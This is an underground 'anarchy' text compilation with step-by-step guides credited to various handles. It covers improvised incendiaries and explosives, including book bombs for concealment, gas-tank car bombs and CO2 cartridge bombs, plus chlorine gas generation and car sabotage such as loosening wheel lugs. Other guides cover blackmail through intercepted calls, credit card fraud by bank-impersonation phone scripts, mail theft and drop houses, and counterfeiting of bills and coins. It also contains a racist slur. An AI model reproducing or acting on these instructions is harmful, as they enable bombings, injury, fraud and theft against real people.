Simply ask her things that are offensive or you would not like traced to your line. This also corresponds to the previously described section, Fucking People Over. After all, guess who's line it gets traced to? He he he...



	Now, imagine the possibilities:  a $2000 dollar phone bill for that special person, 900 numbers galore, even harassing the operator at no risk to you!  Think of it as walking into an 

enemies house, and using their phone to your heart's content.



Blast Oil  By: Garbled User



	This is a strange liquid..  Take a Plastic peanut butter jar, (or any plastic jar) Fill up with half nail polish remover and half 99% isopropyl alcohol. 



Either-





A Ignite mixture, run fast

B Ignite bottle, throw fast

C Pour on target, Light and run fast!!



	If used properly, it sometimes has a nasty property of causing the entire, mixture to become gaseous instantly, this can cause a tremendous explosion!  One note Try to get 99% pure isopropyl Alcohol.. The lesser the purity, the lesser the chance of explosion.. Same with the acetone!



Blackmail People Legally, How to Courtsey of Red Phaze



	First, get yourself a radio scanner that can intercept both cordless and cellular phone frequencies and start listening.



	You will overhear all sorts of confindential information, such as prostitution, people fooling around on their spouses, business secrets and details about crimes committed.  Often you will get the  persons name and telephone number from which (if you need it,) you can usually also get their address.



	Secondly, call up the person from a payphone or other secure phone line and tell them what you know but not how you know it.  (It is legal to listen in on the airwaves but not legal to go into the contents of a conversation, so if you don't admit how you found out, you can not be found guilty of a crime!)  You may even want to taperecord your call for proof that you did nothing wrong.



	Thirdly, NEVER ask for money because that could be construed as blackmail.  Let them offer you money and accept it.  Since, they are the one who offer you the money (you never mentioned it, just your beliefs about what you think they've done,) you have not committed blackmail, you are just accepting their bribe.  If you are not a public official you have not accepted a bribe, and if you don't state that you KNOW they are doing something they want to keep secret, you just state it as beliefs with some substaniating information, you are not concealing a crime (if there was one,) you are just expressing your suspicions which you don't have any concrete proof of.



	Fourthly, be careful when picking up your money.  This is the riskiest part of the whole thing.  The guy may want to beat the shit out of you rather than pay up.  Go with an intimidating looking friend and case out the area well before the meeting. Don't try to collect money from the mark more than once, or you will dramatically increase your risks.



Use some common sense and you can make a lot of money!



Blowgun  By: The Jolly Roger

	

	In this article I shall attempt to explain the use and manufacture of a powerful blow-gun and making darts for the gun.  The possession of the blow gun described in this article IS a felony.  So be careful where you use it. I don't want to get you all busted.



Materials:  







Several strands of yarn (About 2 inches a-piece)

A regular pencil

2 1/4 inch long needle (hopefully with a beaded head. If not obtainable, wrap tape around end of needle.

2-3 1/4 foot pipe. (PVC or Aluminum) Half a inch in diameter



Procedure:  Carefully twist and pull the metal part (Along with eraser) of the pencil till it comes off.  Take Pin and start putting about 5-7 Strands of yarn on the pin. Then push them up to the top of the pin. But not over the head of the pin (or the tape).  Push pin through the hollow part of the head where the pencil was before.  That should for a nice looking dart. (see illustration)



     #####>>>>>-----/    

	#  is the yarn     

            >  is the head of the pencil

            -  is the pin it-self

            /  is the head of the pin







Use:  Now take the finished dart and insert it in the tube (if it is too small put on more yarn.)

Aim the tube at a door, wall, dog, etc. Blow on the end of the pipe.  Sometimes the end of the pipe may be sharp. When this happens I suggest you wrap it with some black electrician tape. It should feel a lot better.



Book Bombs  By: Exodus



     	Concealing a bomb can be extremely difficult in a day and age where perpetrators of violence run wild.  Bags and briefcases are often searched by authorities whenever one enters a place where an individual might intend to set off a bomb.  One approach to disguising a bomb is to build what is called a book bomb; an explosive device that is entirely contained inside of a book.  Usually, a relatively large book is required, and the book must be of the hardback variety to hide any protrusions of a bomb.  



	Dictionaries, law books, large textbooks, and other such books work well.  When an individual makes a book bomb, he/she must choose a type of book that is appropriate for the place where the book bomb will be placed.  The actual construction of a book bomb can be done by anyone who possesses an electric drill and a coping saw.  First, all of the pages of the book must be glued together.  By pouring an entire container of water-soluble glue into a large bucket, and filling the bucket with boiling water, a glue-water solution can be made that will hold all of the book's pages together tightly.  After the glue-water solution has cooled to a bearable temperature, and the solution has been stirred well, the pages of the book must be immersed in the glue-water solution, and each page must be thoroughly soaked.  It is extremely important that the covers of the book do not get stuck to the pages of the book while the pages are drying. Suspending the book by both covers and clamping the pages together in a vice works best.  When the pages dry, after about three days to a week, a hole must be drilled into the now rigid pages, and they should drill out much like wood.  Then, by inserting the coping saw blade through the pages and sawing out a rectangle from the middle of the book, the individual will be left with a shell of the book's pages.  The pages, when drilled out, should look like this: 






 
              ________________________

               | ____________________ |

               | |                  | |

               | |                  | |

               | |                  | |

               | |                  | |

               | |                  | |

               | |                  | |

               | |                  | |

               | |                  | |

               | |                  | |

               | |                  | |

               | |                  | |

               | |__________________| |

               |______________________|

                 (book covers omitted)



	This rectangle must be securely glued to the back cover of the book. After building his/her bomb, which usually is of the timer or radio controlled variety, the bomber places it inside the book.  The bomb itself, and whatever timer or detonator is used, should be packed in foam to prevent it from rolling or shifting about.  Finally, after the timer is set, or the radio control has been turned on, the front cover is glued closed, and the bomb is taken to its destination.



Calcium Carbide Bombs  Courtesy of Red Phaze



Materials

Calcium Carbide 	(This can be bought at any camping store since it is used in carbide 				lamps.  It looks like chalky white gravel.)

Glass Jar With Lid

Water

Burning Rag



Procedure:  Take a few pieces of calcium carbide and put them in the bottom of a jar.  Then fill a jar with about 3/4 of a cup of water. The jar should have dimensions so that all of the calcium carbide is covered by this amount of water.  Next cap the jar.  Leave a burning rag nearby had you will get a nice fireball when this baby explodes.



Explanation for Explosion:  Carbide is the gas that is used in Carbide Cutting Torches.  Mixing the calcium carbide with water starts a chemical reaction with causes the gas to build up inside the jar.  Once the pressure gets high enough, it will shatter the glass.  The burning rag will ignite the gas as it is expelled from the jar.



Car Bombs  By: Exodus, The Jolly Roger, and Red Phaze



Type A:



Materials:

Medicine Bottle or 35 mm Film Canister

Vaseline

Liquid Drano



Procedure:  Take out all the pills from the medicine bottle (or the film if it is the 35 mm canister).  Pour liquid Drano in the bottle and seal it back up.  Hold it upside down to see if it leaks:  if it does great.  Put some Vaseline around the cap.  Then place the bottle inverted into the gas tank (the place where you fill the tank)  When the Drano eats though the bottle or the Vaseline, it will cause a chemical reaction with the gas and explode.



Type B:



Materials

Ziplock Baggie

Chlorine or Liquid Drano



Procedure:  This is very similar to the other method, but in this method all you have to do is put the chlorine or Drano into the ziplock baggie and slide it down the pump line.  Fill the baggie about 1/4 of the way full and only lock some of the grippers on the top.  The explosive liquid will drain down the line and react with the gas and explode.



Carding  By: Exodus, The Jolly Roger, Red Phaze, & Sneaky Thief 



	This file is meant to instruct how to order merchandise for free.  Otherwise known as the art of carding.  



Step 1:  Getting Credit Card (CC) Information



	Getting CCS is not the easiest thing in the world to do, however, it can be down with some patience.  How you want to go about getting them is totally up to you.  



Choice A:  Trashing



	Always been meticulous about your appearance?  Don’t like to get dirty?  Then the primary method of getting credit card information is not going to appeal to you.  The best way to get the carbons is by rooting though the dumpster of a store.  This process is refereed to as trashing.  



	When a customer buys something at a store or restaurant (with a credit card of course), several carbons are made.  The store puts these into their files, and throws them away a week or so later.   The best place to rash depends on the time of year in which you are looking for carbons.  For instance, during the Christmas season: toy stores.  During major temperature changes:  clothing stores, etc.  Basically go wherever there is the largest buying attraction during that period of time.  Whenever there is no major buying attraction, try independent clothing stores or department stores.



Tips for Trashing:



1.  Go on the first day of the month.  (In a lot od stores this is the ‘clear the files day.”

2.  Go to the mall.  That way if one trash can is empty, you have a hundred or so more. 

3.  Stay away from food stores.  Putting your hand into last weeks friend chicken is too high a price for a lousy credit card.

4.  For convenience, look for florists, video stores, and the like.  Video stores especially, since every transaction they make involves a credit card.  Florists because the worst thing in their dumpsters is usually sweet smelling flowers.

	

Other places to hit are: Travel Agencies, Hallmarks, Record Shops, places which don’t have much other garbage.  Shoes stores never have a lot of other garage.  Also try stores like FIM or Hardware stores.  Usually you can find their carbons with little ease, and often times find other goodies in the dumpsters.



	If you goto insurance places or car dealerships this can land you computer printouts with TRW and CBI information and account numbers on it, which are very valuable to an experienced hacker.  Look out for half-carbons.  They are carbon paper that have perforated edges down them so they can easily be ripped in half and discarded.  What most places do is to throw one side into one can, and the other side in another.  So take both bags and put them together at night.  



5.  The best time to trash is at night.



	It would be very handy to have a small, compact flashlight that you can use to go though the dumpster instead of feeling around etc.  If you see someone keep low in the trash.  I have found myself in trashcans many times, and when I get caught in there I go “Uhh, have you seen my baseball?”  They’ll usually take you for stupid.  Or act like a bum...that will work.  



Clothes:  	



	I suggest that you were some really grubby, old, etc. clothing when you go trashing, because you never know what some of these stores are gonna throw away.  If you are kind of squeamish, wear rubber gloves and those pant covers that framers- use.  I am not sure what they are called, but there’re made of rubber and will keep the nasties away from you when you go trashing



Choice B:  Phone Scamming



	Trashing not for you eh??  Well, don’t worry there are more ways to skin a cat (and to obtain a CC number.  



Number 1:  Visa Security



	Call someone up and say:  “Hello, this is Visa security and we have a report that your card was stolen.”



	They will deny it and you will try to get it out of them from that point on.  You could say.  ”It wasn’t stolen?  Well, what is the expiration date and maybe we can fix the problem.   “OK and what is the number your card?  Thank you very much and have a nice day.”  Or something to that degree.



Number 2:  Stupid Housewives



	This is so easy.  You go though someone’s garbage (or recycling bin) and look for bank info and stuff like that.  Anything that will have the name of their bank on it.  The next day stake off school or work: whatever and give the house a call.  Make sure you get a house where the man goes to work and the wife stays home and cooks and cleans:  Like a real woman (very sexist, eh?)  Call up and do this:



Y=You

H=Her



Ring....Ring

H=	Hello?

Y= 	Hello there.  This is Marty Finklestein from 1st National Buttle Trust (The real banks name) Is this Mrs. Abe Dicknose?

H=	Yes?

Y=	Sorry to bother you.  We have had a mix-up in our computer records, it seems that your credit file has been accidentally wiped out.

H=	Oh my!  Is it serious?

Y=	Not really. We need some help from you though.  We have lost your current card information.  If you could please help to make this easier you could either stop by the bank today or tomorrow or you  could give me your current credit card information on the phone.  Whichever you prefer.  (If they want to stop by the bank, just set up a fake appointment and hang up.  They will, in most cases be too busy to stop by and give you the info right on the phone)  This method has worked many times before. Try it out, it’s a very easy and simple way to do it.



Number 3: 

	

	Just the same as before:  call them up and say:

Victim:		Hello?

You:		This is the First national Security and Trust Loan Bank (their real bank)  WE 			are calling you to notify you credit limit has been raised to one thousand dollars.

Victim:		But...but... My limit used to be $100,000 dollars!  There must be some mistake.

You:		No, I’m afraid not.  Unless....well... there might have been a mistake in our 			computer. Do you have your number hand?  I’ll run a check on the number

Victim:		<worried>  I’ll go get it.



	Then these people will read off their CC information to you on the phone.  How nice of them.  Make is sound formal, take the number down, ask for  read-back confirmation.  Be courteous and thank them for their time.  In fact a return call to tell them everything is all right will stop them from calling the bank in a few days and checking on their card.



Tips for Phone Scamming:



	Use a pay phone or beige box the call.  If you can’t do that at least *67 the call to block out the caller id.  However; this is become dangerous with the new *69 call back and the logging of outbound calls.  Best bet is still a pay phone.  Once you get 1 CC you don’t have to pay for anymore calls.



Choice C:  Inside Connections



	Friend who work in stores that take a lot of cards in.  They can usually hold on the them and give them to you.  (Gee, what a nice new zip drive that is!)  If nothing else get (oh God I cannot believe I am about to say this) a job yourself where you will be taking down a lot of CCS.  Shoe stores are the best.  


Choice D:  Casing for Cards



	Go looking for open cars or houses.  Search for PLASTIC, yes, the actual plastic card.  It will usually take the owner 24-48 hours to notice it is missing.  Even longer.  If you can: write down their drivers license info. 



Choice E:  Mail Boxing

	

	As you know (or should know) the people receive their new cards in the mail.  If you happen to have a round on the way home from school where someone is gone during the day and doesn’t get home until after you do every day.  Simply check their mail box every day on the way home.  This will work better if you mail box is right next to the guys’ your going to get it from.  When it arrives, simply take it, write your signature for that person on the back



OR:



	If you know a lot about the person, get a CC application form and order a new card for them.  Just give them a eternal ring number or loop for the phone number.  That way you know there will be a CC coming in the mail.  Just hope it doesn’t come on Saturday.  If that is a possibility, wait for the mail and grab your mail and their mail for them and walk it up to the door for them.



Tips on Getting CCs:



	You could use a CC off a BBS but this is generally not a good idea since most cards up there have about $1000 worth of porno tapes on them.  Better yet you could ask a friend.  This may work, but sometimes people give out cards they have used up or have fucked up with.  Oh the death of a friendship




Step 2:  The Drop Spot



	The address:  More commonly refereed to as the “drop”  This is where the merchandise is going to be going after it has been ordered.  The drop can range from an abandoned building to your next door neighbors apartment. Before you order your merchandise, you must figure out a place to send the merchandise.  You do NOT want the strop from which you shop, the card hold, or the CC company to know where you really live.



Choice A:  Houses

	

	In order for a house to qualify as an inconspicuous drop spot, it must meet several requirement.  It must look like a place where people could really live and be getting things sent though UPS to them.  It must be a place that the owners will not “visit” too regularly.  IT may have a “For Sale” sign in front of it, but it is better it doesn’t  Most important of all, it must be place where you can check up on often



Tips for Houses:



	Leave a note on the door saying “Hello UPS, I worked days, 8 to 6  Please leave all packages for NAME on the porch.  Thanks, alot NAME” (Make the signature halfway       convincing)


	When sending a package to a vacant house, always walk by it first and check to see if anyone is watching.  Then if you think that the coast is clear, then go it.  If anyone is watching (like the police or FBI) then by all means Don’t Run!  This is a mistake many have made.  Just Casually walk on down the street, and never go by there again



Finding Houses:



	You can find dozens of houses from a real estate agent by telling them you (or your parents) want to look around for the area for house.  Ask for list of twenty or so houses for sale, and tell them you will check out the area.  Do so, until you find a drop that will suit your needs.




Choice B:  Apartments



	If you plan to send to an apartment then be sure NOT to include an apartment number.  This will confuse UPS or postage men a little and they will leave the package in the lobby



Choice C:  Occupied House



	Also, you can send an order to an occupied house.  Send the owners of the house a note by mail telling them about a “computer glitch that sent some of our merchandise to your address.  We will send a sales representative or a delivery boy to come and pick it up.”  Spice this up a bit, but apologizing for any hassles and giving a fake name for the “sales representative.”  Then, when you go, just give them a little not authoring you to be there.



	When you pick up the package be calm.  Talk to the people no longer than necessary, but don’t run away or anything.  Wear a hat, but don’t wear a ski mask and sunglasses.  Look normal, yet try and conceal as much of your looks as possible.  If you do this right, you will look like a normal person, and the people will forget about you in the month or so it takes the credit agency to so anything about the fraud.  



NOTE:  Please, on this on this option no idiots please.  This new group of people that read this file send this shit to a cops house.  One cop busted a 5 man team.  Oh well!  Death to the Lamerz



Qualifications for the Drop:



	The pick up is one of the most crucial parts of the entire plan.  Here is what I think the ultimate drop should be:



1.  Abandoned

2.   Isolated (No little old ladies calling the police or spraying you with hoses)

3.  About a mile from your house



	Number one could be a friend of yours who will sign for the pack and then when the feds come deny it ever arrived.  This is unlikely  Number two is obvious.  I have been yelled at by numbers old people and people that don’t speak English.  Not fun! The mile away from your house is obvious.  You don’t want people that know you to be witnesses



Tips for Drops



	There are services that hold merchandise for you, but personally I would not trust them.

	Forget about PO Boxes. You need an ID to get it and most places won’t ship to them.

	Also, when you have determined a drop site, keep an eye on it for suspicious characters and cars that have not been there before.

	NEVER use a drop more than once.



	For a drop site, you can try to get fancy if need be. I have heard of empty military huts being used as well as empty condos, empty houses whose owners are on vacation, and about a zillion other stories. If you think you have come across something new, think a plan up, think it over, and think it over again. Make sure you have every step down so when you order, pick up, and make your escape, there are no problems. Think about it:  what harm does it do to

spend an hour making sure you didn't overlook something. It is a lot better than going there and getting caught.



Step 3:  Ordering



	The best place to order from is catalogs (although some people think local business is better) and mail order houses.  It is in your best interest to place the call from a pay phone, especially if it is a 1-800 number.  Now when you call don’t try to disguise your voice thinking you’ll trick the salesperson into believing you are an adult.  These folks are trained to detect this, so your best bet is to order in your own voice.  They will ask for the following:  Name, name as it appears on card, phone number, billing address, expiration date, method of shipment, and product.  Ask if they offer UPS red shipping (next day arrival) because it gives them less time to research and order. If you are using American Express, you might have a bit of a problem shipping to an address other than the billing address.  If AMEX is the only thing you can get and you are familiar with the people.  Try passing out flyers with massive amount of boxes of them.  Then make the switch after the UPS guy has been there.  If nothing else just order a lot of shit to there house.



Tips on Ordering:



	If you place an order to a big company from their catalog they will ask for the catalog number.  On the back of the catalog above the address there is a 6-8 digit number that has the info about the person they sent the catalog to.  If you received the catalog in the mail, this is not only foolish: it can result in a terrible situation.  All they have to do is track down the owner of the catalog and nail them.  Do not ever give them your catalog number.  Tell them you picked up the catalog in the doctors office and their is no number (they still believe in kissing customer ass)  OR you could give them the catalog number of a mortal enemy.  This has double fun bonus.



	If the salesperson ask question, do not hang up.  Talk your way out of the situation, so you won’t encourage investigation on the order.  A good general way to avoid hassles is to stick with little businesses who need your money, you'll do fine.



Final Tips:  



	Remember:  Greed Kills.  There are no old carders, get want you want and then quit.  Also do not try to card anything over $500 because this will almost always require a signature from UPS.  Over $500 is OK if it is sent Postal, but this will always take forever and they might nail your ass on the phony order before it gets there.  Also over $200 is grand theft as well as credit fraud.  Get caught doing this and you will bite it for a few years  Also, don’t display your special talent at school, parties, or social events. Not even to your best friends. ESPECIALLY

not to your best friends. They are the ones most likely to brag about you and spread the word. This is the farthest thing from what you want. Keep it to yourself, and if you must tell someone about it, either call Phone Sex, a Bridge, or an Alaskan Operator. Those are your only choices, as no other carder or phreak wants to hear about how good you actually are.



Car Nasties  Courtesy of Red Phaze



Sweet-Oil:  In this one you open there hood and pour some honey in their oil spout.  if you have time you might remover the oil plug first and drain some of the oil out.  I have tried this one but wasn't around to see the effects but I am sure that I did some damage.





Slow Air:  OK, sneak up the victims car and poke a small hole somewhere in 2 of his/her tires.  They only have 1 spare.  Now if the hole is small but there then there tire will go flat some where on the road.  You could slice the tire so this is blows out on the road with a razor blade.  Cut a long and fairly deep (don't cut a hole all the way through) and peel a little bit of the rubber back and cut that off.  Now very soon there tires will go flat or a possible blow out at a high speed if your lucky.



Vanishing Paint: Spread a little gas or paint thinner on the victims car and this will make his paint run and fade.  Vodka will eat the paint off and so will a little 190. Eggs work great on paint if they sit there long enough.



Loose Wheel: Loosen the lugs on you victims tires so that they will soon fall off.  This can really fuck some one up if they are cruising when the tire falls off.



Dual Neutral:  Pull the 10 bolt or what ever they have there off.  (On the real wheels, in the middle of the axle) Now throw some screws, blots, nuts and assorted things in there and replace the cover. At this point you could chip some of the teeth off the gears.



Un-Midaser:  Crawl under there car with a ratchet and loosen all the nuts on their exhaust

so that it hangs low and will fall off soon. This method also works on transmissions but is a little harder to get all bolts off, but the harder you work the more you fuck them over.




Comet Bombs:  By: The Deth Vegetable                           



	Get a large cylindrical cardboard container; fill this container half full of  Comet

(dont use `Ajax` , its not as good). Poke a 1/8th inch hole in the side of the container at the halfway point. Insert the explosive charge in the center of the container, and run the fuse thru the hole. (I use  m-80's) Pour more Comet on the explosive charge to the top of the container. Pack down well.  



	Put the lid on the container. Tape the lid and base with electrical or duct tape (I prefer Duct tape). When you light this run away QUICKLY , unless you like existing in a large flaming cloud of sink cleaner.



Credit Card Information  By: The Sparrow











Group 4            Bank Name



  4019              Bank of America

  4024              Bank of America

  4052              First Cincinnati

  4060              Navy Federal Credit Union

  4128              Citibank

  4131              State Street Bank

  4215              Marine Midland

  4225              Chase Manhattan

  4231              Chase Lincoln First Classic

  4232              Chase Lincoln First Classic

  4241              Nat. Westminester Bank

  4250              First Chicago Bank

  4271              Citibank Preferred

  4302              H.H.B.C.

  4310              Imperial Savings

  4317              Gold Dome

  4387              Bank One

  4428              Bank of Hoven

  4811              Bank of Hawaii

  4897              Village bank of Cincinnati




Mastercards



 Group 4            Bank Name



  5215              Marine Midland

  5217              Manufacturers Hanover Trust

  5233              Huntington Bank

  5242              Chevy Chase Federal Savings

  5254              Bank of America

  5263              Chemical Bank

  5273              Bank of America

  5286              Chase Lincoln First

  5317              Norwest

  5323              Bank of New York

  5329              Maryland Bank NA (MBNA)

  5410              Citibank Preferred

  5411              1st Fin. bank of Omaha

  5414              Nat. Westminester Bank

  5415              Colonial National Bank

  5424              Citibank

  5465              Chase Manhattan

  5678              Marine Midland













Change Machines  By: Captain Hack   



	Have you noticed that the little strip in the side of a $20 bill has started appearing in the lower denominations, namely $10 and $5. The latter is particularly useful. First, find a $5 bill that has the strip. Now use a pair of very small tweezers to pull this strip out. It is difficult, but

with a little work, it will happen. Now use some clear (not foggy) scotch tape to tape this strip in approximately the same location on the front side (the president side) of a $1 bill. Go to a change machine that will still give you quarters, unless you really want tokens for the arcade. You'll get $5 in quarters.



	Handy, but how's it really profitable? Get 4 $5 bills and 4 $1's. Pull the strips out off all of them and tape to the $1's. Change them, and then wrap the quarters in wrappers. Take them to the bank to get changed into $20, and then spend the $5's elsewhere (99% of all stores don't look for the strip in $5's and $10's).



	See, the change machines made in the last 4-5 years use this strip to decide what it just ate. If it sees the strip, it's a $5, if no strip, then it's a $1. 



Caution:  This is a federal offense as well as a felony.  This is counter-fitting.  I highly recommend against this.  



Chemical Reactions  Courtesy of Red Phaze



 Mustard Gas



	Ever wonder why ammonia bottles always say "Do not mix with chlorine bleach" and vice versa?  That's because if you mix ammonia water with Ajax  or something like it, it will give off chlorine gas.  To capture it, get a large bottle and put Ajax in the bottom.  Then pour some

ammonia down into the bottle.  Since the chlorine is heavier than air, it will stay down in  there unless you use large amounts of either Ajax or Ammonia (DON'T).  For something fun do with chlorine, stay tuned.

Chlorine + Turpentine



    Take a small cloth or rag and  soak  it  in  turpentine.  Quickly drop it into the bottle of chlorine. It should give off  a lot of black smoke and probably start burning.



Generating Hydrogen Gas



    To generate hydrogen, all you need is an acid and a metal  that  will  react with that acid.  Try

vinegar (acetic acid) with zinc, aluminum, magnesium, etc.  You can collect hydrogen in

something if you note that it is lighter than air.  Light a small amount and it burns with a small

POP.



	Another way of creating  hydrogen is by the electrolysis of water.  This  involves separating water (H2O)  into hydrogen  and  oxygen  by an electric  current.  To do this, you need a 6-12 volt battery, two test tubes, a large  bowl, two carbon electrodes (take them out  of  an  non working 6-12 volt  battery), and table salt.  Dissolve the salt in a large bowl full of water.  Submerge the two test tubes in the water and put the electrodes inside them  with the mouth of the tube aiming down.  Connect the battery to some wire  going down to the electrodes.  This will work for a while,  but chlorine will be generated along with the oxygen which will undoubtedly corrode your  copper wires leading to the carbon electrodes (the  table salt is broken up into chlorine and sodium ions, the chlorine comes off as a gas with oxygen while sodium reacts with the water to form sodium hydroxide).



	Therefore, if  you can get your hands on some sulfuric acid, use it instead.  It  will not

 affect the reaction other than making the water conduct electricity.



Hydrogen + Chlorine



    Take the test tube of hydrogen and cover  the  mouth with your thumb.  Keep it inverted, and bring it near the bottle of chlorine  (not one that has reacted with turpentine).  Say "good-bye test tube,"  and drop it into  the bottle.  The hydrogen and chlorine should react and possible  explode (depending on purity and amount of each gas).  An interesting thing about this is they will not react if it is dark and no heat or other energy is around.  When a light is turned on, enough energy is produced to cause them to react.



Iodine



	Tincture of iodine contains mainly alcohol and a little iodine.  To separate them, put the tincture of iodine in a metal lid to a bottle and heat it over a candle.  Have a stand holding another metal lid directly over the candle.  Have a stand holding another metal lid directly over the tincture (about 4-6 inches above it) with ice of top of it.  The alcohol should evaporate, and the iodine should sublime, but should  reform iodine crystals on the cold metal lid directly above.



Grain-Elevator Explosion



	Want to try  your own "grain-elevator explosion?"  Get a candle and some flour.  Light the candle and put some flour in your hand.  Try various ways of getting the flour to leave  your hand and become dust right over the  candle flame.  The enormous surface area allows all the tiny dust particles to burn, which they do at about the same time, combining to form a fireball effect.  In grain elevators, much  the same thing happens.  If you can get your hands on some Lycopodium powder do. This will work much better creating huge fireballs that are unexpected.



Classes  By: Garbled User 



	Ever since the beginning of time, there has been much confusion as to the correct name,  or class to call certain people in the underground.  I am attempting to bring you the most complete list possible.  With this, hopefully  we can clear up some misconceptions.



Hacker



        A hacker is generally accepted as being a person who uses his knowledge of  computers,  operating systems, and software to break into computers.  Generally a hacker tries to get into a  system he does  not have  access  too,  and learn as much about  it as possible, without getting caught, or damaging any data.



EX:  “I think a hacker broke into our system last night, there seems to be 1 hour of billing left unaccounted for."







Pirate

        

	A pirate is a person who copies, and trades programs and games that are under copyright.  This is generally done over Pirate BBS systems, which are located world-wide.



EX: " Sierra has lost  over $45,000 in the past year due to pirates coping their games"



Trasher

       

	A trasher is a person who goes out late at night and searches trash bins of his local companies for valuable information. Such information may be credit card numbers, or local phone anomalies and codes.



EX:   "We've caught a trasher in our garbage bin last night, and we are attempting to prosecute him for trespassing."



Crasher

        

	This is a person who logs on to a system and causes it to crash, making it unavailable until the sysop gets on and reboots the computer.  These people can also access the databases,  and files of the  system,  making all of it available to himself



EX:   "Some crasher crashed the system last week, and due to my vacation I was not able to  correct the problem until now.   I apologize for the system being unavailable for the past 6 days." 



Cracker



         A cracker is a form of a pirate who breaks the copy protection schemes on  software they  intend to pirate. These people are generally knowledgeable about programming, and many know ASM very well.



EX: "We have got to get a cracker to break this program! It's useless without the dox!"



Anarchist

       

	This is a very general term, applied mainly to the person who engages in anarchy practices.  This person will generally blow up a bomb in the middle of nowhere for fun, but  causes little or no damage.  These people can also be looked at as people who  hate law  in all  forms, and  go out  of their way to disobey it, or cause trouble.



EX:   " Did you 
hear that
 explosion last night?!  It must have been one of those anarchists!"



Militant

     

	This is a form of anarchist, whose main intent is to cause harm or damage.  These people should not be confused with a terrorist.  Their main cause is that of 
hatred, and a general dislike for humankind.  They have been known to throw large bombs  into parade crowds, or rallies.  They are VERY dangerous, and usually psychopathic.



EX: "Did you hear about the militant who took out K-Mart with an uzi last week?"


Computer Militant



	This  is a  person who  logs on  to a bbs, or mainframe with the sole intention of destroying it.  These people have tremendous knowledge in the workings of a computer, but are  generally less knowledgeable than a  hacker.  Many  times  these people are nothing  more than disgruntled workers,  or  ex-workers who are enacting their revenge on the company.



EX:   "A computer militant formatted our hard-drive last night, causing the loss of all our data."



Phreak

        

	This  is a person who is very much like a hacker.  Instead of attacking and  learning about computers, he uses the phone lines as a toy.  These people are generally equal to,  or superior  to most of the phone company itself in knowledge of the workings  of a telephone service.  Many of  these people have the power to do things nearly  unimaginable to you and me.  Oftentimes they  can call  long  distance  for long periods of time, and never pay a cent.



EX:  "Some  phreak ran up a $20,000 phone bill last month!  And he put it on the bill of some local company."




Rodent

        

	This is  an annoying person.  Generally a wanna be hacker.  He attempts to appear knowledgeable by reading every file he can get his hands on, and then bragging about  things that never  happened, or minuscule hacks.   He is generally regarded as a nuisance and a fool.



EX:   "That damn rodent keeps calling me and telling me how he broke into a C64 BBS. What an idiot: a dead mouse could break into a C64."



Elf



        This is the absolute worst form of a rodent.   These people are complete computer geeks,  who spend all of their time on a computer.  They know ve
ry little about anything 
that 
does not deal with computers.  Most of their knowledge is 
completely useless.  Most of it dealing with PD software, and how to install a new motherboard.   Many of them are wanna be hackers, but chicken at the thought of loosing their computer equipment. They generally have huge egos, and brag about their so-called-hacks.  The majority of  their information is publicly available,  making it completely worthless.



EX:   "Look at all these computers! I'm in elven heaven!"



Code Kidz

        

	This is one of  the most hated people in the phreak world.  This is a  person who  acquires codes to make long distance calls,  and does not give  anything in  return.   He then  proceeds to give the code to all his friends,  and the code dies shortly thereafter.



EX:  "I wish you code 
kidz would  leave something in return!  All you do is ruin our codes. Go bother some other area code!"



Abuser

        

	This is a form 
of a code kidz, who takes a code and uses it to it's fullest extent, running up bills of $5000+.  They also have been known to ruin a brand new code in less than 30 minutes.  These people are hated by phreaks and the phone company alike.  Neither abusers or code kidz have any knowledge of the phone system.



EX:  "Abusers have ran up a bill of over $50,000 to poor old Mrs. Fletcher."



CO2 Bomb  By: Exodus



Materials:

	

A spent CO2 cartridge

Nail

Black gun powder

Water Proof Cannon Fuse



Procedure:  With a nail force the hole bigger as to allow the powder and which to fit in easily.  Fill the cartridge with black powder and pack it in there real good by TAPPING the bottom of the cartridge on a hard surface.  (NOTE:  I said TAP not SLAM)



	Then insert the good, water-proof cannon fuse or a m-80 type fuse.  A firecracker fuse will work (If you can run like a black man from the cops after raping a white girl)  When you light this run like hell.



	It does wonders on a row of mail boxes (like the ones in apartment complexes), a car (under the gas tank), a picture window (place on window sill), a phone booth (right under the phone), or any other devious place.  This thing throws shrapnel and can make quite



Coin Money By: Schilke                                                             



	Have you ever wanted to know the secret to making money?  Well, worry no

more.  Using the method contained within this file you can MAKE all the money you want, cheap!



	This text is concerned with the conversion of pennys to dimes for use in vending machines.  With a little of your invested time, you can turn 10 cents into 1 dollar.  Of course, you can only spend it in vending machines, but think about all you can get from vending machines these days. Drinks, food, candy, smokes (but please don't smoke, sell them to someone for a buck), and shaving supplies (if you happen to be in a hotel), just to name a few.  You might even be able to make real cheap long distance phone calls.  And, if you insert your money to buy certain priced items, you can even get back real money for change.  More on this later.



Materials:  



     - a file, just about any type will do



     - pennies, preferably the zinc kind (after 1984 (I think)), but old copper ones will do, they are simply harder to file.



     - a C-clamp, vise grips, or a table vise, or just about anything you can use to hold the penny while you work on it.



     - a dime, to size up the penny while you work on it



	If you have one, substitute a shop grinder for the file.  It will grind the pennies down in a matter of seconds.  If you do it this way, be sure to wear saftey goggles.  You wouldn't want to hurt yourself, now would you?



Procedure:



1.  In the clamp or vise, place a dime on top of a penny and secure in the clamp or vise.  Now you can see what you will have to grind away.



2.  Grind.  You may have to rearrange the penny and dime in the vise a few times so you can get it all even.  It doesn't have to be perfectly round, but the more perfect, the better.



3.  Repeat steps 1 and 2 until you have as many 'dimes' as you want.



	You should now have pennies that you can substitute for dimes in some machines.  It will work in some, but not all, so try it out and experiment.  Use them wisely and think about what you want before you make a selection.



	For example, if you have 5 one-cent-dimes, insert them and choose a 45 cent item.  If it works, you should get your 45 cent item and a REAL nickel back in change.  The change will cover your costs for the pennies, but your labor will have gone into getting the snack.  Some may think that the time it takes to make the 'dimes' is not worth it, but it doesn't really take too long, and the fact that you are thwarting the system and ripping off the companies that rip everyone else off with their high priced machines is enough to make some people try it.



	Also, some machines keep the coins you enter in escrow, and if you hit the coin return, you get back the same coins that you entered.  Other machines will go ahead and let the coins drop in the coin box.  If you decide you want your money back, the machine will activate the coin changer and it will dispense coins that are stored in the coin mechanism.  If you can find one of these types of machines, you can really rack up.  Enter the home-made dimes, and then hit the coin return.  You will then get back quarters and/or nickels and/or dimes back in the coin return slot.



	If you're really daring, roll up the 'dimes' in paper rolls and try to cash them in at the bank or grocery store (with a bogus name and address, of course).



	Using this method to 'make' money, you will never have to pay full price for items in vending machines ever again.



Computer Revenge  By:  Vortex



